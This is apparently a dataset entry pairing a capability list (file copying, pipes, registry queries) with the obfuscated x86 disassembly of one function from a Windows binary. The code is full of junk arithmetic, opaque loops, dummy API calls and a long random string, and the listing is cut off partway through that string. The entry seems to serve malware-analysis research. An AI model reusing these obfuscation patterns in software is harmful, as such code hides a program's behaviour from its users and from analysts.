Function at 0x41e4f0
Capabilities:
Copy file
Create pipe
Get disk information
Get file attributes
Get file size
Query environment variable
Query or enumerate registry key
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1924
call fcn.004ed740
mov dword [ebp - 0x14], 0xabf1
mov dword [ebp - 8], 0xd6e0
mov dword [ebp - 0x40], 0x81e6
mov dword [ebp - 0x3c], 0x61a6
mov dword [ebp - 0x38], 0xa7af
mov dword [ebp - 0x5c], 0x15dd6
mov dword [ebp - 0x30], 0xc75b
mov dword [ebp - 0x48], 0xdc24
mov dword [ebp - 0x20], 0x149e7
mov dword [ebp - 4], 0x16e78
mov dword [ebp - 0x2c], 0xd7bb
mov dword [ebp - 0x34], 0x12b32
mov dword [ebp - 0x50], 0x1750f
mov dword [ebp - 0x10], 0x9221
mov dword [ebp - 0x24], 0xdce6
mov dword [ebp - 0xc], 0x3508
mov dword [ebp - 0x1c], 0xa488
mov dword [ebp - 0x58], 0x3c27
mov dword [ebp - 0x44], 0x1530d
mov dword [ebp - 0x4c], 0x17f18
mov dword [ebp - 0x60], 0x128c3
mov dword [ebp - 0x54], 0x107c3
mov dword [ebp - 0x28], 0x1214d
mov dword [ebp - 0x18], 0x17b7f
mov eax, dword [ebp - 0x30]
add eax, 0x4ba
push eax
mov ecx, dword [0x51a8bc]
add ecx, 0x11b0d
push ecx
mov edx, dword [0x51a8c4]
add edx, 0x1106f
push edx
mov eax, dword [ebp - 0x14]
add eax, 0x492c
push eax
mov ecx, dword [0x51a870]
sub ecx, 0xd30c
push ecx
mov edx, dword [ebp - 0x20]
sub edx, 0xf8f0
push edx
mov eax, dword [ebp - 0x60]
sub eax, 0x86d5
push eax
mov ecx, dword [ebp - 0x28]
sub ecx, 0x8ce9
push ecx
call fcn.00416f20
add esp, 0x20
mov dword [ebp - 0x64], 0
jmp 0x41e615
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 4]
sub eax, 0x16e77
cmp dword [ebp - 0x64], eax
jge 0x41e6da
mov ecx, dword [0x51a87c]
cmp ecx, dword [0x51a85c]
jge 0x41e6d5
mov edx, dword [ebp - 0x10]
cmp edx, dword [0x51a860]
jne 0x41e6d5
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x14]
jne 0x41e6d5
mov ecx, dword [0x51a86c]
cmp ecx, dword [ebp - 0x20]
jne 0x41e6d5
mov edx, dword [0x51a874]
cmp edx, dword [ebp - 0x20]
jge 0x41e6d5
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x28]
jne 0x41e6d5
mov ecx, dword [0x51a860]
cmp ecx, dword [ebp - 0x34]
jne 0x41e6d5
mov edx, dword [0x51a85c]
cmp edx, dword [ebp - 0x34]
jne 0x41e6d5
mov eax, dword [ebp - 0x44]
cmp eax, dword [0x51a8bc]
jne 0x41e6d5
push 0xdd9f
push 0x9baa
push 0x1a49
push 0x6946
push 0x1223f
call dword [sym.imp.KERNEL32.dll_GetSystemRegistryQuota]
add esp, 0x14
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
push 0x4be3
push 0x62ec
push 0x3b82
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0xc
jmp 0x41e60c
mov edx, dword [ebp + 8]
add edx, 0xcf2a
xor edx, 0x5666dfb1
mov eax, dword [ebp + 0x10]
or eax, 0x224e
xor eax, 0x4b29
or eax, 0x2926
xor eax, 0x3aaf
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [ebp - 0x24]
sub ecx, 0x10d1
push ecx
mov edx, dword [ebp - 0x1c]
add edx, 0x9aa8
push edx
mov eax, dword [ebp - 0x24]
add eax, 0x49e5
push eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x1837
push ecx
mov edx, dword [ebp - 0x58]
add edx, 0x5a8b
push edx
mov eax, dword [ebp - 0x58]
add eax, 0x14d0
push eax
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x35cd
push ecx
mov edx, dword [ebp - 0x4c]
sub edx, 0xeab4
push edx
call fcn.00416f20
add esp, 0x20
call fcn.004150c0
mov eax, dword [ebp + 0x18]
add eax, 0x9903
or eax, 0xa1
xor eax, 0x7a5b24eb
mov ecx, dword [ebp + 0x24]
xor ecx, 0x445
xor ecx, 0x17bd
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov edx, dword [ebp - 0x3c]
add edx, 0x3e0a
push edx
mov eax, dword [ebp - 0x48]
add eax, 0x1b68
push eax
call fcn.00411d90
add esp, 8
mov ecx, dword [ebp + 0x18]
or ecx, 0x4224
xor ecx, 0x5365aef0
mov edx, dword [ebp + 0x14]
and edx, 0xb3ca
sub edx, 0x5041
xor edx, 0x426d
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov dword [ebp - 0x68], 0
jmp 0x41e7df
mov eax, dword [ebp - 0x68]
add eax, 1
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0xabf0
cmp dword [ebp - 0x68], ecx
jge 0x41e85b
mov edx, dword [ebp - 4]
cmp edx, dword [0x51a870]
jge 0x41e804
mov dword [ebp - 0x5b4], 1
jmp 0x41e80e
mov dword [ebp - 0x5b4], 0
mov eax, dword [0x51a8bc]
add eax, 1
mov dword [0x51a8bc], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [0x51a8bc]
mov edx, dword [ebp - 0x54]
sub edx, dword [0x51a8b8]
and ecx, edx
or ecx, dword [ebp - 0x5b4]
mov dword [ebp - 0x1388], ecx
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x1388], 0
je 0x41e856
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
jmp 0x41e7d6
mov edx, dword [ebp + 0xc]
and edx, 0x24c
xor edx, 0x77666e5a
mov eax, 0x5c61
sub eax, dword [ebp + 0x20]
and eax, 0x3e79
xor eax, 0xaf64
xor eax, 0xa27d
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov dword [ebp - 0x6c], 0
jmp 0x41e899
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x17b7e
cmp dword [ebp - 0x6c], edx
jge 0x41e8f3
mov eax, dword [ebp - 0x2c]
or eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x5c]
jge 0x41e8f1
mov ecx, dword [0x51a8b8]
cmp ecx, dword [0x51a8bc]
jne 0x41e8f1
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x34]
jne 0x41e8f1
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x24]
jne 0x41e8f1
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
push 0x8655
push 0x15b0a
push 0xa908
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
add esp, 0xc
jmp 0x41e890
mov edx, dword [ebp - 0x54]
add edx, 0x5aa0
push edx
mov eax, dword [ebp - 0x40]
add eax, 0x817a
push eax
mov ecx, dword [ebp - 8]
add ecx, 0x5b2f
push ecx
mov edx, dword [0x51a8c0]
add edx, 0x5b61
push edx
call fcn.00405d10
add esp, 0x10
call fcn.004150c0
mov eax, dword [ebp + 0x20]
xor eax, 0xc19b
xor eax, 0x496fc09d
mov ecx, 0x322e
sub ecx, dword [ebp + 0x10]
sub ecx, 0xb18
xor ecx, 0xffffd1bc
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov dword [ebp - 0x70], 0
jmp 0x41e963
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x38]
sub eax, 0xa7ae
cmp dword [ebp - 0x70], eax
jge 0x41e981
mov ecx, dword [0x51a8b8]
sub ecx, 1
mov dword [0x51a8b8], ecx
jmp 0x41e95a
mov edx, dword [ebp + 0x10]
xor edx, 0xb3d3
or edx, 0x2194
xor edx, 0x5478b7f4
mov eax, dword [ebp + 0x18]
or eax, 0x6654
xor eax, 0xfbfe
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdV